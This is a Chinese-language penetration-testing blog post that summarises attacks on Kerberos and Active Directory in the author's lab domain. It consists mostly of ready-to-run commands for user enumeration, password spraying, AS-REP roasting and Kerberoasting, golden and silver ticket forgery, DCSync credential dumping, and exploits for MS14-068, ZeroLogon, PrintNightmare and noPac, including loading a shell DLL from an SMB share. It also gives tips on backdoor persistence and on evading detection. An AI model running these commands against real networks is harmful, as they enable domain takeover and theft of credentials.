tql
前言
Author: 0ne
本篇文章主要是对Kerberos域渗透中常见攻击手法进行简单的总结。
(可能思路狭隘,有缺有错,师傅们多带带)
如何发现域
入口点就在域内的话,有蛮多命令判断是否存在域,最准的还是net config workstation
:
如果入口点没在域内,能通DC的话,可以使用NetBIOS扫描探测:
fscan_amd64 -np -m netbios -h 192.168.17.1/24
域控主机通常会开启88&389端口:
域用户枚举
概述
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN
,所以当我们没有域凭证时,可以通过Kerberos pre-auth
从域外对域用户进行用户枚举。
利用
使用工具https://github.com/ropnop/kerbrute
kerbrute_linux_amd64 userenum --dc 192.168.17.134 -d 0ne.test username.txt
AS-REPRoasting
概述
对于域用户,如果设置了选项Do not require Kerberos preauthentication
(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat
或是john
对其破解,最终获得该用户的明文口令。默认情况下该配置不会设置。
利用
配置域用户的不要求Kerberos预身份认证属性:
使用impacket工具包GetNPUsers.py
发现不做Kerberos预认证用户:
GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456
GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456 -format john -outputfile NPhashes
john --wordlist=/usr/share/wordlists/FastPwds.txt NPhashes
没有域凭证时,也可以用户名枚举来查找未设置预认证的账号:
GetNPUsers.py -dc-ip 192.168.17.134 0ne.test/ -usersfile users.txt
该配置不要求Kerberos预身份认证
默认不启用,可以给域内高权限用户配置该选项作为后门。
Password Spraying
概述
在kerberos的AS-REQ认证中当用户名存在时,密码正确或者错误返回包结果不一样,所以可以尝试爆破密码。
利用
通常爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。
kerbrute_linux_amd64 passwordspray --dc 192.168.17.134 -d 0ne.test username.txt p4ssw0rd!
单用户爆破密码:
kerbrute_linux_amd64 bruteuser --dc 192.168.17.134 -d 0ne.test passwords.txt user
用户名&密码字典组合爆破,而格式username:password
:
kerbrute_linux_amd64 bruteforce --dc 192.168.17.134 -d 0ne.test res.txt
除了通过kerberos爆破,还可以利用smb,ldap爆破。
smb爆破使用msfauxiliary/scanner/smb/smb_login
模块:
ldap爆破详见3gstudent
师傅的博客渗透基础-通过LDAP协议暴力破解域用户的口令。
如何定位域管
概述
域渗透中定位并拿下域管登陆过的主机,就可以在该主机导出域管密码或是hash:
net group "domain admins" /domain
net group "domain controllers" /domain
利用
使用PsLoggendon.exe
定位域管理员:
可以查看指定用户域内登录过的主机或是某主机登录过的用户
PsLoggendon.exe -accepteula administrator
PsLoggendon.exe -accepteula \\DC2012
使用PVEFindADUser.exe
定位域管理员:
该工具用于枚举域内计算机以及登陆过相应计算机的域用户,当参数为 -current ,枚举域内所有机器以及当前登陆的域用户,在此基础上,可以指定域用户,添加参数domain\user,支持模糊查询。
Kerberos委派攻击
主要分非约束委派
,约束委派
,基于资源的约束委派
,利用详情见Kerberos委派攻击的那些事。
Kerberoasting
概述
TGS(service ticket)是由目标服务实例的NTLM hash加密生成的,加密算法为RC4-HMAC
。站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较,进行离线破解。
利用
使用GetUserSPNs.py
寻找注册在域用户下的SPN,并使用john离线破解:
GetUserSPNs.py -dc-ip 192.168.17.134 0ne.test/zhangsan:zs@123456 -outputfile tgs
john --wordlist=/usr/share/wordlists/FastPwds.txt tgs
GPP密码读取
概述
域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密。这就造成了安全隐患,现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得,导致权限提升。
利用
使用组策略管理工具增加一条策略:
使用impacket工具包Get-GPPPassword.py
获取组策略并解密密码,该脚本也可以离线破解:
Get-GPPPassword.py 0ne.test/hong:h@123456@192.168.17.134
当然在SYSVOL下可能也存在着通过.vbs,.bat下发任务,或是存在其他敏感信息:
for /r \\<DOMAIN>\SYSVOL\<DOMAIN>\ %i in (*.vbs) do @echo %i
for /r \\<DOMAIN>\SYSVOL\<DOMAIN>\ %i in (*.bat) do @echo %i
type <file_path>
金票&银票
概述
Golden Ticket(金票)就是TGT(票据授权票据),它能代表用户的身份,如果有了高权限用户的TGT,那么就可以发送给TGS换取任意服务的ST。TGT是由kerbtgt的hash加密生成的。
Silver Tickets(银票)就是ST(服务票据),ST是由服务hash加密生成,只能访问指定服务。
然后使用对应的票据进行PTT。
利用
生成域管的金票:
ticketer.py -nthash krbtgt_NT_hash -domain-sid S-xxx -domain 0ne.test administrator
生成DC2012的银票:
ticketer.py -nthash spn_NT_hash -domain-sid S-xx -domain 0ne -spn CIFS/DC2012.0ne.test administrator
export KRB5CCNAME=administrator.ccache
klist
wmiexec.py DC2012.0ne.test -k
kdestroy
DCSync
概述
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash。
利用
满足其一条件:
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
利用域控的机器账户DCSync:
已知漏洞
MS14-068
概述
该漏洞允许经过身份验证的用户在其获得的TGT票据修改PAC来伪造域管理员。
利用
不怎么能遇见了。
需要个普通域用户&域SID:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
whoami /user
ms14-068.exe -u user@xxx.xxx -p pass -d DC_IP -s SID
kerberos::purge
kerberos::ptc <TGT_filepath>
使用goldenPac.py
:
哈哈哈哈嗝,我的2012均失败(T_T)
ZeroLogon(CVE-2020-1472)
概述
通过利用该漏洞,可以将域控机器用户的密码置空。利用secretsdump.py
来获取凭证。
利用
漏洞检测&利用:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon
zerologon_tester.py DC2012 192.168.17.134
cve-2020-1472-exploit.py DC2012 192.168.17.134
DC2012$的hash被置空,并获取administrator的hash,PTH:
secretsdump.py 0ne.test/DC2012\$@192.168.17.134 -just-dc-user administrator -no-pass
wmiexec.py 0ne.test/administrator@192.168.17.134 -hashes xxx:xxx
攻击后,由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表里面的密码不一致会导致脱域,所以需要还原机器账户hash:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
这种从sam数据库还原机器账户hash感觉有点麻烦,可以直接重置域控机器账号密码:
powershell Reset-ComputerMachinePassword
wmiexec.py 0ne.test/administrator@192.168.17.134 powershell Reset-ComputerMachinePassword -hashes xxx:xxx -silentcommand
Windows Print Spooler(CVE-2021-1675)
概述
Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启Print Spooler服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。在域环境下,域用户可远程利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。
利用
需要一个普通域用户。
kali开启匿名smb共享:
修改smb服务配置文件/etc/samba/smb.conf
。
[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = MYSERVER
log file = /var/log/samba/log.%m
max log size = 50
security = user
map to guest = Bad User
[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes
service smbd restart
服务重启即可。
Windows命令行开启匿名共享:
详情可见3gstudent
师傅的博客渗透技巧——通过命令行开启Windows系统的匿名访问共享。
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable
Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable
POC地址:https://github.com/cube0x0/CVE-2021-1675
测试的时候2012没打成,换成2016成功了:
CVE-2021-1675.py test:0nelocal@123@192.168.17.135 '\\ip\smb\shell_7777.dll'
sAMAccountName spoofing(CVE-2021-42278&CVE-2021-42287)
概述
CVE-2021-42278
域内机器账号都应当以$结尾,但是Active Directory不会检查机器账号末尾是否带有$。
CVE-2021-42287
当用Machine的TGT为任意用户向KDC申请访问Machine的ST时,若Machine不存在,KDC就会查找Machine$,若Machine$存在,那么Machine.TGT会用S4U2Self申请一张任意用户访问Machine$的ST。
利用
手工复现
impacket
noPac
占位
sam_the_admin
sam_the_admin.py 0ne.test/zhangsan:zs@123456 -dc-ip 192.168.17.134 -shell
export KRB5CCNAME=/root/sam-the-admin-main/Administrator.ccache
wmiexec.py DC2012.0ne.test -k
这里会生成一张域管理员访问-dc-ip的ST,因为我的kali没有/usr/bin/impacket-smbexec。所以需要自己导入,再PTT。建议自己改一下机器名特征(SAMTHEADMIN-)。不然出现这个机器名就可能被当场逮捕。
MAQ为0场景
其他
AD CS
,NTLM Relay
,域内ACL
,Exchange
,跨域攻击
等填坑。
参考
感谢各位师傅的分享。
Good in study, attitude and health
daiker师傅的windows-protocol